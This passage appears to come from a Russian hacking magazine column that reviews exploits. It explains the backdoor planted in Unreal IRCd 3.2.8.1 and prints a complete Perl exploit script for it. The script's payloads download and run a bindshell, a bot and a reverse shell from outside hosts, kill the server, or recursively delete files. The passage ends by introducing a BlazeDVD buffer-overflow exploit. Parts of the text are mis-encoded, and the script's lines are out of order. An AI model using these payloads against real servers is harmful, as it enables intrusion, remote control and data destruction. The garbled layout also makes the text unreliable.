ВЗЛОМАлексей Синцов, Digital Security a.sintsov@dsec.ruÎÁÇÎÐ ÝÊÑÏËÎÉÒÎÂÍåñìîòðÿ íà òî, ÷òî âñå áîëüøå è áîëüøå ðàçðàáîò÷èêîâ â êóðñå ïðîáëåìèíôîðìàöèîííîé áåçîïàñíîñòè, óÿçâèìîñòè íàõîäÿòñÿ âñå ÷àùå è ÷àùå.Çàòî ýêñïëîéòû ñòàíîâÿòñÿ âñå ñëîæíåå è ñëîæíåå. Òî åñòü, åñëè ðàíüøåäîñòàòî÷íî áûëî ïðîñòî íàéòè óÿçâèìîñòü, òî òåïåðü åùå íàäî ïîíÿòü, êàêåå ðåàëèçîâàòü â âèäå ýêñïëîéòà. Âðåìåíà ìåíÿþòñÿ. Òåïåðü ýòî íå òîëüêîstate-of-art, íî òàêæå è áèçíåñ, è êðèìèíàë. Íî è òàì è òàì ïî îáå ñòîðîíûáàððèêàä åñòü òàëàíòëèâûå è óìíûå ëþäè, ðåçóëüòàò ðàáîòû êîòîðûõïðåäñòàâëåí çäåñü, íà ýòèõ ñòðàíèöàõ.01CVECVE-2010-2075TARGETS• Unreal IRCD v. 3.2.8.1BRIEFВЫПОЛНЕНИЕ ПРОИЗВОЛЬНОГОКОДА ЧЕРЕЗ БЭКДОР В UNREAL IRCDНачнем сегодняшний обзор с проблемы в известном IRC-демоне —Unreal IRCD. Да, еще не так давно IRC было для нас всех важнейшимканалом общения. В те времена еще не существовал ни Facebook, ниTwitter, и люди охотно обменивались байтами в консольном режиме. Стех пор утекло не так много воды, и поэтому IRC — по-прежнему полноценныйи популярный сервис.И тем обиднее/веселее (нужное подчеркнуть), что некие злодеи,видимо, фанаты WEB 2.0, желающие захватить мир, внедрили бэкдор(BackDoor — черный вход) в исходные коды дистрибутива Unreal IRCD.«Затрояненная» версия IRC-демона лежала на зеркальных серверахаж с ноября 2009 года по июнь нынешнего года. Надо полагать, чтоза это время множество добрых и честных людей успели установитьданное ПО. Этот факт был обнаружен создателями демона, о чем онисо множеством извинений и донесли до широкой общественности.EXPLOITШирокая общественность пожелала создать эксплойт, которыйиспользует бэкдор в Unreal IRCD, для своих корыстных целей. Даже всостав Metasploit’а добавили соответствующий модуль.Посмотрим, что же представляет собой этот бэкдор. Как оказалось,сам бэкдор — это четыре строчки в исходных кодах, первым деломбыли добавлены две строчки в модуль s_bsc.c, в функцию read_packet(). Эта функция читает и обрабатывает все входящие пакеты.Считанные данные помещаются в переменную readbuf. Сразу послетого, как данные были считаны из сокета, в дело вступают силы зла, авернее, две строчки, внедренные в эту милую функцию злоумышленниками:#ifdef DEBUGMODE3if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))DEBUG3_LOG(readbuf);#endifТут идет сравнение первых двух байт считанных данных с некимистатическими байтами, определенными за DEBUGMODE3_INFO (еслиопределен DEBUGMODE3). Если байты совпадают, то далее считанныеданные переходят в DEBUG3_LOG(). Что же это за определения? А этона самом деле макросы, добавленные в файл struct.h.#define DEBUGMODE3 ((x)->flags & FLAGS_NOFAKELAG). . .#ifdef DEBUGMODE3#define DEBUGMODE3_INFO "AB"#define DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x). . .#define DEBUG3_DOLOG_SYSTEM(x) system(x)Резюмирую увиденное: при считывании каждого входящего пакетабэкдор сравнивает первые два байта данных с последовательностью«AB». Если совпадение есть, то содержимое данных передается вызовуsystem(), то есть на исполнение в операционку.Эксплойт:#!/usr/bin/perl# Unreal3.2.8.1 Remote Downloader/Execute Trojan# DO NOT DISTRIBUTE -PRIVATE-# -iHaq (2l8)use Socket;use IO::Socket;## Payload options# Ðàçëè÷íûå «íàãðóçêè». Ïî ñóòè êîìàíäû — ýòî ëþáûå# êîìàíäû äëÿ îáîëî÷êè unix/linux, íà÷èíàþùèåñÿ ñ«AB;».# Ïåðâûå äâà áàéòà ãàðàíòèðóþò, ÷òî áýêäîð ïåðåäàñò# âñå â system(); - ÷òîáû âûïîëíèëàñü áåç ïðîáëåì# îñòàëüíàÿ ÷àñòü äàííûõ.my $payload1 = 'AB; cd /tmp; wget http://042 XÀÊÅÐ 08 /139/ 10
BlazeDVD. «Обработчик» восстанавливает стек для работы ROPpacketstormsecurity.org/groups/synnergy/bindshellunix-O bindshell; chmod +x bindshell; ./bindshell &';my $payload2 = 'AB; cd /tmp; wget http://efnetbs.webs.com/bot.txt -O bot; chmod +x bot; ./bot &';my $payload3 = 'AB; cd /tmp; wget http://efnetbs.webs.com/r.txt -O rshell; chmod +x rshell; ./rshell &';my $payload4 = 'AB; killall ircd';my $payload5 = 'AB; cd ~; /bin/rm -fr ~/*;/bin/rm -fr*';$host = "";$port = "";$type = "";$host = @ARGV[0];$port = @ARGV[1];$type = @ARGV[2];if ($host eq "") { usage(); }if ($port eq "") { usage(); }if ($type eq "") { usage(); }sub usage {printf "\nUsage :\n";printf "perl unrealpwn.pl \n\n";printf "Command list :\n";printf "[1] - Perl Bindshell\n";printf "[2] - Perl Reverse Shell\n";printf "[3] - Perl Bot\n";printf "-----------------------------\n";printf "[4] - shutdown ircserver\n";printf "[5] - delete ircserver\n";exit(1);}} elsif ($type eq "2") {print $sockd "$payload2";} elsif ($type eq "3") {print $sockd "$payload3";} elsif ($type eq "4") {print $sockd "$payload4";} elsif ($type eq "5") {print $sockd "$payload5";} else {printf "\nInvalid Option ...\n\n";usage();}close($sockd);exit(1);}unreal_trojan();# EOFSOLUTIONПроверить исходные коды, из которых собран демон, на наличиешести троянских строк или, что будет проще, проверить MD5-хешархива. У за тро ян е ной версии хеш должен быть 752e46f2d873c1679fa99de3f52a274d , у нормальной версии — 7b741e94e867c0a7370553fd01506c66. Если что не так — удалить строки и пересобрать IRC-демон илискачать с официаль ного сайта (и опять-таки проверить хеш, на всякийпожарный).02CVEN/AПЕРЕПОЛНЕНИЕ БУФЕРАВ BLAZEDVD PLAYERsub unreal_trojan {my $ircserv = $host;my $ircport = $port;# èíèöèèðóåì ñîåäèíåíèåmy $sockd = IO::Socket::INET->new (PeerAddr =>$ircserv, PeerPort => $ircport, Proto => "tcp") || die"Failed to connect to $ircserv on $ircport ...\n\n";print "[+] Payload sent ...\n";# îòñûëêà çëîãî êîíòåíòàif ($type eq "1") {print $sockd "$payload1";XÀÊÅÐ 08 /139/ 10TARGETS• BlazeDVD Player 5.1BRIEFОб уязвимости в этом плеере известно уже достаточно давно, тем неменее я бы хотел обратить внимание на свежий эксплойт под даннуюуязвимость. Дело в том, что эксплойт работает в среде Windows 7, азначит, умеет обходить DEP и ASLR. Автор эксплойта — баг-хантер,известный в Сети под ником mr_me, в девичестве — Стивен Силей(Steven Seeley). Парень этот развлекается тем, что ищет дыры вразличном ПО и пишет адекватные, рабочие эксплойты, за что честьему и хвала (блог товарища — https://net-ninja.net). Хочу отметить,что состоит он в команде Corelan Security Team, создатель которой,043